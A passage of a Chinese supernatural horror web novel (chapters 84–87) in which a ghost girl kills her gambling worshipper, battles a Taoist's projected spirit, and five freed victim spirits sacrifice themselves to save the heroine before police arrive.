“是、是的，多亏了仙人庇佑，上次我赢了几万块钱回来，总算是还上了高利贷的利息，但是仅仅这样还不够！仙人，我欠的赌债太多了，如果我没有及时还钱，他们会把我的心肝脾肺肾都掏出来还钱的……不过没关系，澳门那边有更大的赌场，远远比陵川市的赌场更大，我去那边会找到更多的机会，只要有仙人庇佑，我就能赢回来更多！”
胖老板说着，更用力地磕头。
他的脑袋“咚咚咚”地撞着地面，宛如中邪一样，一双眼睛里赤裸裸的满是欲望和贪婪，他看着好不容易“显灵”一次的“仙人”，像是抓住救命稻草一样，疯狂叩头。
宋明夷往旁边挪了挪身子，她感觉这个胖老板已经疯了。
她这才知道原来这是个赌徒，并且为了增加自己的赌运，甚至开始养小鬼、拜阴魂。
在赌鬼的眼里，只要能赢回来，什么都不重要，无论是人命，还是人性，都不重要了，在他们看来，下一次一定会赢，只要给他们上赌桌的机会，他们能赌上所有的一切，只为了一次翻盘的机会。
“拜托了仙人！我有预感，只要仙人这次庇佑我，我一定还能赚回来更多！到时候我就扩大这家店面，给仙人布置更华丽的灵堂……”
“呐，你好吵啊……”
84. 触手
“呐，你好吵啊……”
小女孩冷冷地看着胖老板，虽然她的表情仍然没有一丝波澜，但嘴角的弧度却压低了几分，她的脑袋偏向左边，就这么歪着头看着老板，似乎对眼前这个凡人的祈求不屑一顾。
人，总是贪心的。
在尝到一次甜头之后，总想着一而再、再而三，没有尽头。
赌博染上的赌瘾，更是放大了面包店老板心中的贪念，在他看来，为了在赌桌上赢一次，就没有什么是不能牺牲的。
他或许潜意识知道自己已经没有了回头路，但如果这条路走下去能有翻盘的可能，那么这些赌徒就会哪怕头破血流也不会后悔。
是的。
他们不会后悔，也不会知错。
赌博，只有一次和无数次的区别。
总是认为自己在下一刻能够翻盘的他们，不知不觉也已经走入了别人的陷阱之中，赌桌之上，没有赢家，大抵如此。
“拜托了仙人！只要再帮我几次……不，只要再帮我一次，我一定能够赢回来，等我还清了高利贷，把这家店重新赎回来，我给您换一个更大的灵堂，您需要多少‘贡品’我都去给您搞回来！只需要再给我一次机会！求求您——我可以当您最忠心的狗，我可以帮您办成所有您不方便做的事情……”
老板磕着头、祈求着，从老板的反应来看，沈聆大概已经猜到了事情的来龙去脉，她回过头，看着站在身后的小女孩：“你不帮帮他吗？他可是你的忠实信徒呢，你不方便出现在阳光下，很多事情还是需要活人替你做吧……”
小女孩瞥了一眼沈聆，微微蹙起眉头，眼神中带着几分不屑。
她没有回答沈聆的话，但是从她皱起的眉头来看，她并不是很喜欢沈聆的用词用语。
“这些小鬼都是他在你的指示下做的吧，原来还有你做不到的事情，我还以为你吸收了这么多尸体的阴气，已经很强了，看来你也只能在黑夜里装神弄鬼一下，在阳光之下，你还是无法现身。毕竟，你已经死了，死去的鬼，再怎么作妖，也活不过来了。”
“闭嘴！”
小女孩愤怒地吼了一声，她带着怒气朝着沈聆伸出手掌，沈聆瞬间感觉到身上像是压了一个千斤重的秤砣一般，巨大的压力自她的背部压下，她被压得吐出了一口鲜血，肋骨也传来断裂的声音，而那些正在啃咬沈聆的死尸也被小女孩的这股阴气压得瞬间脊椎断裂，趴在地上一动不动了。
——成功了。
沈聆转过头看着那些死尸，一脚踢开了它们。
她是故意点燃小女孩的怒火，她知道，只要对方生气，就有漏洞，就有隙可乘！
“仙人……仙人……”
“还有你，给我闭嘴！”小女孩怒目圆睁，柳眉倒竖，怒喝一声，她猛地向前踏出一步，同时伸出左手，快速比出一个“掐住”的手势。
“沙……”正在磕头的面包店老板骤然感觉到一股强大的气压如汹涌的浪潮扑面而来，转瞬间，一只无形的手紧紧扼住了他的喉咙，将他整个人硬生生地举了起来。
面包店老板的脸色瞬间涨得通红，双眼凸出，嘴巴大张着，却只能发出微弱的“呜呜”声，他的双手本能地抓住自己的喉咙处，试图挣脱那无形的束缚，双腿在空中胡乱蹬着。
“仙人！仙人！不要杀我！我对您还有用处啊！我可以帮您杀人！还能帮您炼小鬼！”
小胖子惊恐地睁大双眼，眼中满是惧色，仿佛看到了世界上最可怕的东西。
他的脸色惨白如纸，额头上冒出细密的汗珠，这是对死亡最本能的恐惧，没有人能坦然面对死亡，在亡灵气息逼近的那一刻，他挣扎着，双手在空中胡乱挥舞，双脚却缓缓离开地面。
小胖子声嘶力竭地哀求着，声音颤抖得厉害：“求求您，别杀我！求求您！！”
“你太聒噪了。”小女孩面无表情，眼神冷漠如冰，左手依旧高高举着。“况且，五行已然凑齐，你对我而言，再无任何利用价值。”
小女孩微微眯起眼睛，眼神中透露出一丝决绝。
她边说边加大了手上的力度，手指微微弯曲，仿佛在用力握紧什么。
“不要……”
几步之外，掐着面包店老板的那只无形之手似乎也随之加重了力量。
沈聆和宋明夷只听得一声清脆的“咔嚓”声响，小女孩竟直接捏碎了面包店老板的颈椎和肌肉。
下一秒，面包店老板的双手双脚无力地垂落下来，再也没有了动静，接着，小女孩松开了手，面包店老板的身体如同一个被剪断了线的木偶，软绵绵地瘫倒在地上。
“……你居然就这么杀掉了一个对你忠心耿耿的走狗。”沈聆倒吸了一口凉气，她现在才知道什么叫做“冷血无情”。
宋明夷也不由得对小女孩的决绝感到害怕，此刻，面包店老板的尸体就躺在她身边，转过头睁大了眼睛看着宋明夷，那双眼睛里的毛细血管破裂了，让整个眼睛都染上了红色，他是被活活捏碎脊椎掐死了，脸色都憋胀成了暗紫色，额头青筋毕露，看着十分吓人。
宋明夷往旁边挪了挪身子，颤颤巍巍的，生怕沾染到死人的血。
他死了。
一个活生生的人，就这么死了。
几分钟之前，还耀武扬威地将她拖入后门的那个人，现在变成了一具尸体躺在她旁边，甚至尸体上的温度都还没有冷却，他就已经死了，他死得十分匆忙，甚至来不及回顾自己短暂的一生。
如果一切可以重新来过的话，他还会选择这条路吗？
如果一切可以从头，下一辈子，不要再赌博了吧。
宋明夷叹了口气，但随后，物伤其类的悲哀涌上心头，她抬起头看向了沈聆，她知道，她和沈聆都在劫难逃了。
对小女孩如此忠心、办了这么多事情的面包店老板尚且被毫不留情地杀掉，那她和沈聆……
沈聆对上了宋明夷的视线，从她的眼眸中，沈聆看到了惊恐、悲伤、绝望……
沈聆第一次感到后悔了。
她后悔自己不该这么盲目行动，不仅今天自己的小命要断送在这里，宋明夷也要被自己连累……
她不该在第一次吃到甜头之后，第二次还这么擅自行动的。
或许，她和面包店老板一样，都是一个赌徒罢了。
他们或许都有同样的结局——赌上自己的身家性命，最后输得一塌糊涂。
“对不起……”沈聆看着宋明夷，咬着牙流下两行眼泪。
在被厉鬼折磨的时候，她没有哭，在被殴打啃咬的
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时候，她没有哭，但现在，忽然意识到自己或许要连累他人一同死去的时候，她哭了，她知道自己再也还不清这个孽债了，外婆是对的，阴厨的工作，太过凶险，一不小心就要赔上自己的一切。
宋明夷叹了口气，也在为自己不择手段想要拍摄热点的行为感到后悔，但现在，一切都无用了。
为时已晚。
“好好告别吧，这或许是你们的最后一面了。”
小女孩眨巴着灵动的大眼睛，轻声说道：“嘿嘿，你可逃不掉啦！”话音未落，只见她缓缓抬起小手，朝着沈聆伸去。就在这一刹那，令人瞠目结舌的一幕发生了——小女孩纤细的五指竟然瞬间发生了惊人的变化，它们迅速膨胀、扭曲，转眼间化作五条粗壮而狰狞的章鱼般的触手！
那些触手上布满了黏糊糊的黏液，黑色的煞气包裹着她的那些触手，像是给予触手养分一样，让这些触手仿佛拥有自己的生命一般，它们渴望鲜血、它们渴望生灵！它们以迅雷不及掩耳之势朝着沈聆猛扑过去，如同饥饿的野兽看到了美味的猎物！
“沈聆小心！！”
在宋明夷的惊呼之中，眨眼间，触手便紧紧缠住了沈聆的手脚。
“！”
沈聆惊恐万分，拼命地挣扎起来，然而，她的反抗似乎只是让这些触手变得更加兴奋和疯狂，这些触手首先被缠住的是沈聆的四肢，如铁索一般牢牢锁住了她的手臂和双腿，令她动弹不得，紧接着，更多的触手蜿蜒而上，迅速包裹住了她的躯干和脑袋。
随着沈聆的挣扎，触手越缠越紧，像是要把她的骨头都勒碎一样，此刻的沈聆已经完全被触手淹没，看上去就像是一个不断蠕动的巨大肉球，而可怜的沈聆则被彻底困在了这个恐怖的牢笼之中，生死未卜。
“沈聆！！”宋明夷绝望地大喊了一声。
但下一刻，被触手包裹的那团肉球里面，几道金光从触手之间的缝隙里透出。
“什么？！”
小女孩和宋明夷皆是一惊。
就在下一瞬间，令人瞠目结舌的一幕发生了！
那些闪烁着耀眼光芒的金色光线竟然变得越来越密集，数量也急剧增加，它们从触手的缝隙里透出，带着势不可挡的锐气。
触手包裹而成的这颗肉球开始从内部向外膨胀起来，仿佛有一种强大而神秘的力量正在竭尽全力地撑开那些坚韧的触手，每一次的膨胀都伴随着细微的撕裂声和肌肉拉伸的声音，让人毛骨悚然。
终于，当这种膨胀到达极限的时候，一道如同利刃般锋利的金色光芒骤然闪过。这道光芒以迅雷不及掩耳之势，瞬间将所有束缚着沈聆的触手齐齐斩断！
“噗......”
只听得一声沉闷的声响，那些被切碎斩断的触手肉泥一样四处飞溅，将原本整洁的地面染成了猩红之色，空气中弥漫着浓烈刺鼻的血腥味，令人作呕。
这肉泥减到了宋明夷身上，她感觉到衣服、皮肤都散发着腐尸的臭味，她睁大了眼睛，看见几步之外，沈聆正蜷缩着身子趴在地上，在她面前，吴妄正半蹲着护在沈聆身前，手中持着桃花木剑，嘴角带着一抹弧度，两撮发丝轻轻飘动在脸颊前，那双眼眸里，依旧染着几分不羁。
“看来，小道刚好赶上这出好戏。”
85. 神念
吴妄的出现，在宋明夷看来简直就是天神下凡啊！
他半蹲在沈聆身前，手中的桃木剑闪着金光，脚下踩着宋明夷看不懂但觉得很厉害的八卦阵，和之前许多次一样，在吴妄出现的时候，事情几乎就会有转机出现！
“道长！你是我大爹啊！！”
宋明夷简直哭出来了，她原本以为她和沈聆今天晚上小命玩完了，她都已经做好心理准备。和沈聆一前一后交代在这里了，没想到事情居然峰回路转，都说“天无绝人之路”，大概指的就是这样吧。
道长一笑：“别，我可当不起你大爹，小道可没这个计划还俗。”
说着，他的桃木剑一横，将剑端指向了小女孩。
他的桃木剑虽然看起来很钝、根本无法伤人，但上面闪烁着一道道金色的光，剑身上用鎏金画着不知名的符咒，似乎有破厉鬼、除妖邪的锐气。
小女孩看见突然出现的吴妄，像看到了鬼一样，愤怒得咬牙切齿：“又是你？！臭道士，你为什么一而再、再而三地破坏我的好事？！”
“嗨，其实也不是我要破坏你的事情，只不过你的运气不是很好，回回都让我撞见罢了。”吴妄说着，看了一眼身后的沈聆。
沈聆动了动指尖，感觉到身周束缚着自己的触手已然消失，她错愕地抬起头，正对上吴妄那双深邃的眼眸，愣神了片刻，她用满是鲜血的手掐了掐柔软的脸蛋，这才提醒自己这一切都不是死后的幻境。
“道长？”
“在呢。”
“你怎么会……”
“因为你的口袋里带着我给你的符咒。”吴妄说着，用眼神示意了一下。
沈聆顺着他的视线看去，发现自己的口袋里正有什么东西闪烁着金光，那光线从口袋溢出，在昏暗中显得十分耀眼，她将手伸入了口袋中，从里面拿出一张皱巴巴的、染着血的黄底红字的符咒。
她这才想起来，这几张符咒是在殡仪馆遇到纸人作祟的时候，吴妄给她的！
……
“给。你拿着这个，你是阴五行的人，你的眼睛会看到一些不干净的东西，你的耳朵会听到一些不寻常的动静，带着这个，防防身。”
“……道长，你这是要收钱的吧？”
“多谢惠顾，五十元一张。”
……
没错，当时她将信将疑地从他手里拿到了这张符咒，虽然说着五十元，但那五十元到现在还在赊账，拿到这张符咒之后，沈聆就胡乱将符咒放入口袋里，没想到从那之后事情一桩接这一桩发生，她也就忘记这张符咒的事情，甚至于，这张符咒跟着这条裤子在洗衣机里洗了一圈，都洗得皱巴巴的，居然还能在危急关头，派上用场！
不得不说。
青城山的符咒，还真是保真保效。
“……你们青城山的东西都这么厉害吗？”沈聆惊讶地睁大了眼睛。
此刻，她满脸是血，浑身是伤，看起来就像是一只可怜兮兮的流浪狗，刚好被吴妄随手救了起来，一双水眸里还满是死里逃生的惊恐和对自己依然活着的难以置信之情。
“我们青城山的东西，那都是有售后保障的好吧。”吴妄的语气中带着几分自吹自擂，“不过，也多亏了刚才那些肮脏的东西弄伤了你，你的血染到符咒上，我才能传送到你身边。”
宋明夷惊讶地睁大了眼睛：“传送？牛啊道长，你现在居然会瞬间移动了！”
她似乎目睹了一个超乎当前自然科学范畴的奇迹。
传送肉身，相当于实现让原子传送，这在自然科学中可是前所未有的事情！
吴妄看着宋明夷，没有接话。
但小女孩却开口了：“不对，臭道士，这不是你的肉身，这只不过是你的一缕神念罢了。”
吴妄听到这话后，缓缓转头看向了那个小女孩，他沉默不语，只是那双原本充满戏谑之意的眼眸此刻竟逐渐收敛了起来，仿佛有一层阴霾悄然笼罩其上。
“道长……”
趴在地上、浑身是伤的沈聆仰着头目不转睛地凝视着吴妄，她注意到吴妄那张清俊无比的面庞此时竟然多了几分难以言喻的严肃之色。
她很少看到吴妄这样的表情，此刻，她也明白了，那小女孩所说的话一点儿都没错。
目前出现在自己面前的吴妄，并不是他的真人，而是他的“神念”，又或者说，是他的一缕魂魄，符咒让他的神念传到了自己面前，但真的能让他打败眼前这个不可一世的小女孩吗？
她可是厉鬼。
而且是受了香火的厉鬼。
甚至已经能够控制死尸的出现，控制其他小鬼的行动。
她已经可以说是接近于阴神的存在了……
沈聆思虑之间，只听得小女孩再次开口说道——
“臭道士，别以为我不知道！你的那些符咒根本没办法把你的肉身给传送过来，顶多也就是能让你的一缕神念游离到此罢了。虽说你确实有些本事，可跟你的真人相比，这一丝神念所具备的能耐可要大打折扣啊！哼，仅仅凭借这点儿能耐，你还妄想能够打败我？简直就是痴人说梦！”
面对小女孩如此嚣张的挑衅与威胁，吴妄却是冷冷一笑，脸上非但不见半点儿惧色，反而又恢复了之前那种毫不掩饰的轻蔑神情来。
虽然自己此刻的短处被发现了，但他丝毫没有畏惧之情，相反，看着小女孩的目光充满了鄙夷，就如同看着一只下贱卑微的蝼蚁。
“动你，何需尽全力？”
吴妄说着，手中的桃木剑划过一道弧度，一道金光朝着小女孩打了过去！
小女孩的身形在空中一动，她抬起手，瞬间爆发的煞气挡住了吴妄的金光。
吴妄微微地下眼眸，口中念着不知名的咒语，八卦阵在他脚下再次张开。
“金光万道，破邪无踪，急急如律令！”
他手持木剑，打出了许多道月牙一样的利刃，到利刃朝着小女孩飞了过去，小女孩举起双手，瞬间煞气拔地而起，从那团煞气中刺出了许多黑色的长刺打响了金色的月牙，在金光与煞气交错的一瞬间，周围有巨大的磁场碰撞着，墙壁上裂开了一道道狭长的裂痕，地砖碎裂，整栋楼都开始摇晃！
“道长小心！”
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宋明夷紧张地看着双方打得不相上下，场面陷入了僵持中。
只见道长第三次挥起桃木剑：“乾坤无量，助我除魔！”
桃木剑的剑气在空气中瞬间凝结了起来，他的身后，出现了一把巨大的金色半透明的剑，那把剑闪烁着寒光，随着吴妄挥剑而下，这把剑劈开了煞气，直接劈向了小女孩。
小女孩微微睁大了眼睛，那一刻，她的眼睛露出血红色的光。
“沙拉……”
忽然，沈聆身后的墙壁涌出了两大片血液，从黏腻的血液中传来死尸的声音，她仓促地转过头，发现两只死尸从血泊中探出头来，直接抓住了她的脚踝，将她拖着往血泊中去。
“放开我！！”
沈聆挣扎着想要踢开两只死尸，当他们张大了嘴巴吼叫着，黑色的嘴巴里满是腐朽的臭味，只剩下白骨的手死死抓着沈聆，将她拖入了血泊中。
“什么？！”吴妄回过头，发现沈聆正被拖入血墙中。
他一分心，让小女孩有机可乘。
小女孩扬起嘴角，煞气化作了血鞭，飞快朝着吴妄打了下来。
吴妄眼角余光看到了那打下来的血鞭，他眼疾手快往旁边一躲，虽然躲开了血鞭，但却被满是尖刺的鞭尾打伤了手臂，他的身形闪动了一下，这用一念凝结成的形态似乎差点儿魂飞魄散。
“卑鄙！”
“哈哈哈哈，臭道士，放弃吧，你就凭这一缕神念，是没办法打得过我的哦。”小女孩面无表情地冷笑着说道，“你就别做无谓的挣扎啦！”
只见她轻轻一挥小手，那两只原本毫无生气的死尸仿佛瞬间被注入了一股神秘的力量，动作僵硬而又迅速地执行起小女孩的命令来——它们紧紧抓住沈聆的脚踝，毫不留情地将她朝着墙上那片诡异的血泊用力拖拽过去。
“不要——”
沈聆惊恐万分，拼命地蹬腿想要挣脱，但一切都是徒劳无功。
最先没入血泊之中的是沈聆的双脚和下半身，鲜血迅速染红了她的衣物，如同一朵盛开的血色花朵绽放在这片死亡之沼里，她感觉到墙上的这片血液像是沼泽一样带着犀利，紧接着，她的躯体也逐渐被拖入其中，那粘稠的血水仿佛拥有生命一般，紧紧缠绕住她的身体，让她难以动弹分毫。
“沈聆！！”宋明夷惊恐地大喊，看着沈聆被拖入血泊中，却一点办法没有。
沈聆的双手在空中胡乱挥舞着，试图抓住任何可以救命的东西，但周围除了冰冷的空气什么都没有。
“救——”然而，沈聆的求救声刚刚出口，便立刻被那无尽的血泊所吞噬，只留下一阵模糊不清的尾音，在空气中渐渐消散。
“该死。”
吴妄一咬牙，丢掉了手中的木剑，他伸出手，在沈聆完全被拉进入的那一瞬间，抓住了沈聆的手。
“哼，你以为你是谁？”小女孩冷笑了一声，用力握紧拳头，“今天我一定要拿到灵元草！”
小女孩身周的煞气骤然爆发，下一刻，没有松手的吴妄与沈聆一起被拉入了那血泊之中，两人的身影就这样消失在墙上这片腥臭的血泊中。
86. 消散
宋明夷惊恐万分地瞪大双眼，死死盯着眼前这一幕，只见沈聆和吴妄两人竟先后被墙上那诡异的血迹给生生吸了进去！她的心脏仿佛瞬间停止跳动，整个人像被施了定身咒一般，完全僵在了原地，甚至连呼吸都忘却了。
那片血迹宛如一个深不见底的沼泽，散发着令人毛骨悚然的气息，可与普真正的沼泽不同的是，它竟然诡异地出现在了墙壁之上！而更让人胆寒的是，透过那浓稠的血色，可以清晰地看见其中有暗流在缓缓涌动，就如同一条条隐藏在暗处的毒蛇，随时准备择人而噬。
那些血液不断地翻滚着、冒泡着，发出“鼓动鼓动”的声响，仿佛是来自地狱深渊的咆哮，它们呈现出一种如静脉血般的暗红色调，使得整个场景愈发显得阴森恐怖。那片血液里面不知道是怎样的场景，这片空间似乎是小女孩的绝对领域，她能操控空间的扭曲，并让死尸随时随地地从任何一滩血迹中爬出。
与此同时，一股浓烈至极的腐烂味和血腥味扑鼻而来，迅速弥漫在这条狭窄的长廊之中。
这股刺鼻难闻的气味犹如一记重锤，猛地敲醒了呆若木鸡的宋明夷，令她的意识稍稍恢复了一些清醒。
吴妄和沈聆的失踪让她原先出现的希望如泡沫一般破灭，在这两人消失之后，她忽然意识到一件可怕的事情：走廊里只剩下她和厉鬼了，而自己，将是下一个被“献祭”的对象。
——跑！
这个念头在闯入脑海中的那一刻，她的双腿已经先一步作出了反应！
宋明夷颤抖着双腿，用双手支撑起自己的身体，转身朝着走廊另一头的门口跑去——她在被面包店的老板拖入走廊的时候，本就没有走太远，门口就在她身后几步之外的地方半掩着的，微微敞开的门缝在她看起来就仿佛是人生的最后一丝希望，她用尽全力朝着那希望跑去，就像即将淹死的人抓住漂浮在水面的救命稻草一般。
“跑？你想跑到哪里去？”
小女孩微微眯起眼睛，她朝着宋明夷的背影举起了左手，在她的左手上，一团煞气涌动着，那些黑色的煞气围绕在她的身旁，像是听话的猛兽一样，随时等到着小女孩发出指令、将宋明夷撕得粉碎。
宋明夷跌跌撞撞地跑到门口，在双手触碰到冰冷的门把手的那一瞬间，她用尽全身的力气推开了后门，并整个人摔了出去，摔倒在地上的那一瞬间，她的下巴重重地磕到了泥泞的土地上，侧身摔在地上，她的肩膀着地，整个人摔得生疼，地上粗糙的小石子割破了她的手臂和脖颈，感觉到嘴巴里一阵血腥味，宋明夷微微支起身子，吐出了嘴巴里的断牙。
仓皇回过头看去，但小女孩并没有如预期一般追上来，宋明夷疑惑中，看见小女孩漂浮在走廊的半空中，在她身边，似乎浮现出了五个半透明的灵体，那几个灵体将小女孩围绕在中间，挡在了小女孩和宋明夷之间，似乎在阻挡小女孩伤害宋明夷的举动。
其中一个身影，宋明夷感觉很熟悉。
那是个十岁的孩子，身上穿着小碎花的红毛衣，脖子上还挂着一截麻绳。
“……子晨？！”
那五个灵体将小女孩围绕在中间，他们用自己所有的力量对抗着小女孩身周的煞气。
——吴妄的出现分散了小女孩的煞气，让他们五个稍微摆脱了小女孩的控制，不愿意再看到小女孩伤害别人，他们用自己的身体挡住了小女孩，形成了一道“人墙”，硬凑着，勉强调度自己的魂力抵抗小女孩的煞气，正是他们的出现，护住了宋明夷，没有让煞气伤害到她。
“不要再害人了！”
“他们都是无辜的，你造的孽还不够吗？”
“我们不会让你过去的！”
“你一直控制着我们几个，现在该轮到我们几个反抗了！”
……
五个灵体说着，凝聚起彼此的力量，原先微弱的光在此刻似乎合成了一道耀眼的光芒，他们就像是火种一样，燃尽自己生命最后一丝力量，誓要与女鬼同归于尽！
“哼，不自量力。”
小女孩轻笑了一声，她手中凝聚起更多暗色的煞气，那些煞气中，鬼头浮动，就像是凝聚了许多冤魂在其中一般，那些黑色的鬼头在半空中呼啸着飞过，拖尾着留下浓郁的血腥味。
小女孩抬起手，正准备解决掉面前五个鬼魂的时候，忽然，一只白色的鹦鹉扑扇着翅膀，落在她身后。
“回家啦，回家啦——”
鹦鹉刺耳的声音在走廊里响起，小女孩微微回过头，对上了鹦鹉那双圆溜溜的眼睛。
“回家啦，回家啦——”
鹦鹉机械化地重复着这三个字，但这三个字却像是某种暗号一样，让小女孩动作一顿。
就在这时，远处传来了若隐若现的警笛的声音。
“——”
警察局的人似乎没有走远，不知道为什么又半途折返回来。
“切，一群碍事的家伙。”小女孩微微皱起眉头，血红色的眼眸中满是被打断的不悦，她的声音里充斥着无法尽兴战斗的愠怒，更是被半途打扰了的不爽。
“回家啦，回家啦——”
鹦鹉还在重复着这三个字，这三个字似乎是来着某个人的传达。
“知道了知道了，别吵我了，烦得很。”小女孩一挥手，一股煞气打向了白毛鹦鹉。
鹦鹉乱叫着，扑扇着翅膀，灵活地躲开了煞气，随后，这鸟从走廊里飞了出来，擦过摔在门口的宋明夷的脑袋，飞向了更加深远的夜幕，只留下一根羽毛落在宋明夷身上，似乎在诉说着这一切都不是梦境。
宋明夷拿着那根羽毛，她抬起头看向了走廊，发现小女孩一挥手，一道煞气打在了五个灵体上。
“就凭你们，还想阻拦我？”
这道煞气宛如剑气一般，瞬间破开了五个灵体形成的墙壁，五个灵体被瞬间震飞了出去，他们摔在地上，煞气打伤了他们的魂体，本就不稳定的半透明的身体像是受到了极大的冲击，凝聚着魂魄的粒子开始在空中消散。
这五个灵体似乎对小女孩而言，已
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经没有利用价值了。
小女孩一挥手，就轻而易举地解决了他们。
“哼。”
小女孩傲娇地哼了一声，一转身，消失了，在这厉鬼消失之后，走廊里的煞气也在逐渐散去，原先漫布在走廊地面、墙壁、天花板的血液也逐渐被吸收，最后消失不见了。
这一切就像是一场噩梦一样，随着噩梦的消散，周围的血腥味、腐臭味也在逐渐消失。
“你们没事吧？”宋明夷忙跑到了那五个灵体身边。
她手足无措地看着他们，在这五个人中间，她只认得李子晨，此外，还有四个男男女女她并不认识，他们有老有少，有男有女，覆盖了不同的群体，看起来是进行选择后的受害人。
“子晨……你们都……”
“姐姐，我们可能撑不住了。”子晨满脸哀伤地凝视着自己那若隐若现的身躯。
他原先缝着嘴巴的黑线消失了，似乎在摆脱了女孩的控制后，他这一刻才彻底恢复了自由和说话的权利。
子晨和其他四个同伴们的灵体本就呈现出一种半透明的状态，仿佛是这世间最脆弱的存在，而经过与那个强大的小女孩一番激烈的鏖战后，他们倾尽了凝聚起来的所有魂力，此刻，那些曾经支撑着他们在这个世界上残存的力量已经消耗殆尽，连最后的一丝魂魄都不复存在。
遭受重创后的他们，已然无力继续留在这个世界上——只见他们的身体如同夜空中闪烁的萤火虫一般，开始缓缓地消散开来，那点点微弱的荧光也随着时间的流逝而逐渐变得黯淡无光，仿佛风中摇曳的烛火，随时都可能熄灭，每一秒过去，他们的身影便越发模糊，眼看就要彻底化为无形，消失得无影无踪。
“唉，没想到这下真的要死了。”一个秃头老人叹了一口气。
“这样不是挺好的吗，总比一直被压在罐子里任人摆布的好。”短发女孩微微一笑，像是认命一样抬起头看着天空，“真好看啊，今天晚上的夜空，没想到我在死前还能看一看天空，要是这个时候能抽个烟就好了。”
另一个青年男子看了看短发女孩，嘲讽一笑：“算了吧，还是等下辈子再来吧。”
他的脖子闪烁着一道红光，看起来像是曾经被利器割断脑袋、身首异处。
“姐姐……我好像在灵堂看到过你，你应该认识我的家人吧？如果你能见到我的爸爸妈妈和爷爷奶奶，麻烦你帮我告诉他们，让他们都要好好的，不要担心子晨，子晨要去另一个没有痛苦的世界了。”李子晨微微一笑，看着宋明夷，这是他最后能够传达遗言的机会了，“另外，我在死前会把我所有的阴德都给那个阴厨姐姐，我的魂魄要消失了，希望我剩下的阴德能够帮助到她，她和你一样，也是个好人。”
宋明夷听着子晨乖巧的话，早已经泪流满面。
其他四个魂魄都同情地看着这可怜的小男孩——他是五个魂魄里最可悲的一个，其他人至少都活了二三十年，但子晨，只活到了十岁，就被杀到了，并且还是以这么残酷的方式。
87. 警方赶到
在生命最后的一分钟里，你会想些什么呢？
是回顾自己短暂一生，还是后悔曾经做过的某些错事？
是想起自己年幼时吃过的糖果，还是青春时期擦肩而过的少女的脸红？
……
最后的这一分钟里，谁都没有说话。
五个魂魄就这么抬着头看着天空。
他们的身体正一点点变得透明，如烟花一样消散在空气中，这是他们残留在这个世界最后的一点魂魄，也是他们来过这个世界最后的证明。
“——”
远处，响起了从远到近的警笛声，宋明夷抬起头，看见有几辆白色的警车停在了面包店的侧门，从车上下来了一个年轻男子，他也看见了她，并快步朝着她跑来。
在这时，宋明夷面前的这几个魂魄变得更加透明，他们的身体在空气中仿佛一阵风就会吹散。
“人生啊，真是辽阔的平原呢。”
“嘿嘿，下辈子还要来人间走一遭，我一定要再喝一口浓烈的茅台酒！”
“我想吃糖。”
“如果有下辈子的话，我要去一次偶像的演唱会！”
“我不要再当程序员了，我讨厌加班……真让人头秃。”
……
就这样，那些若有若无的魂魄如同风中的残烛，微微摇曳着，渐渐地失去了原本的形态，它们仿佛是被岁月侵蚀的画卷，色彩一点一点地褪去，轮廓也愈发模糊起来，一个接着一个，魂魄们依次消散了，宛如夜空中转瞬即逝的流星，只留下一抹淡淡的痕迹。
这是宋明夷第一次确切看到魂魄的形态。
轻烟，似雾。
那是一种极其细腻的存在，如同清晨草叶上的露珠，在阳光的照耀下闪烁着微弱的光芒，又如轻烟袅袅升起，像是那梦幻般的丝带，在空气中缓缓飘动。
它们是那样的轻柔，仿佛一阵微风就能将其吹散；它们又是那样的神秘，让人捉摸不透，仿佛隐藏着无数的秘密。
最后，魂魄们完全变成了光点，如同夜空中璀璨的繁星。
这些光点闪烁着微弱的光芒，仿佛在诉说着曾经的故事，它们在空气中轻盈地舞动着，渐渐地消失了，如同雪花融入大地一般，无声无息。
这就是人最后的归宿，一个充满着未知和神秘的地方。
那是另一个世界吗？
那是所谓的阴曹地府，还是梵文中的极乐世界？
活着的人不得而知了，但逝去的人，他们的人生，在这一刻画上了句点，结束了一切繁杂，就像一首奏响的乐章，在高潮处戛然而止，留下的只有无尽的寂静和沉思。
他们的离去，如同秋天的落叶，虽然带着一丝凄凉，但也有着一种别样的美丽，生命的轮回，就像四季的更替，有开始就有结束，有繁华就有凋零。
宋明夷看着魂魄在自己面前散去，哭得泣不成声。
她的身体颤抖着，仿佛一片在风中摇曳的树叶，她的眼神中充满了绝望和悲伤，看着那些曾经鲜活的生命在自己眼前消失，她感到无比的痛苦和无助。
他们是为了救她才耗尽自己所有的魂力的。
他们用自己全部的力量筑起一座墙壁，挡住了小女孩的煞气，这才换得她的安然无恙。
们毫不犹豫地奉献出自己的一切，只为了保护一个陌生的女孩。
“谢谢你们……谢谢……”宋明夷的声音颤抖着，充满了感激之情。
她知道，这些素不相识的人给予了她最珍贵的礼物——生命。
她的心中充满了愧疚和自责，她觉得自己无以为报。
在林凌赶过来的时候，正看到宋明夷哭得泪如雨下，她的泪水打湿了地面，仿佛在诉说着她内心的痛苦。
“你怎么了？发生了什么事情？！”林凌看到宋明夷的眼泪，一顿手足无措地乱翻后，发现自己并没有带面巾纸，只能蹲在宋明夷身边，安慰地拍了拍她的肩膀。
“为什么要救我呢……我这么垃圾的一个人……我这么一无是处的人……有什么值得你们救的呢……”
宋明夷断断续续地哽咽着。
她悲伤于这些素不相识的人会愿意救一无是处的自己，也悲伤于自己再也没有报答他们的机会了。
他们就这样消失了，像是一种解脱，也像是一种无奈。
这是一种告别，不知道会不会有重逢的那一天。
“这……你别哭呀，到底发生了什么事情？”林凌现在是一头雾水，他嗅到了空气中残留的血腥味和腐臭味，抬起头看向了面包店的走廊，隐隐约约看到走廊里躺着一个人，“那是……”
“那是面包店老板。”宋明夷抹了抹眼泪，“他已经死了。”
“啊？！”林凌一听死人了，眉头一皱，整个人都严肃了起来。
他赶忙从后门跑进了走廊里，但一踏入走廊中，便迎面感觉到一股寒气扑面而来，他不由得打了个哆嗦，地上也残留着疑似血迹的液体，他不敢太深入走廊，担心破坏现场，只能简单检查了一下尸体，发现面包店老板的尸体都已经冷了，摸了摸他的鼻息和颈动脉，也全都没有了动静。
——死了。
林凌脸色一沉。
一旦出现性命攸关的事情，那么这个案子的性质可就不一样了。
林凌拿出手机，给李队长打了个电话，简单汇报了一下面包店的情况，以及自己在面包店里看到了尸体，请求警队支援。
宋明夷从地上爬起，拍了拍身上的泥泞，走到了林凌身边。
“呐，你怎么会回来？我们以为你带着那个流浪汉去警察局了……”
“本来是要带去警察局审问的，毕竟在他那边发现了染血的衣物，而且墙上还有疑似虐待儿童的涂鸦……但是上了警车走了一段之后，那个流浪汉就突然说这一切都是面包店老板做的，让我们赶紧回来抓人。”
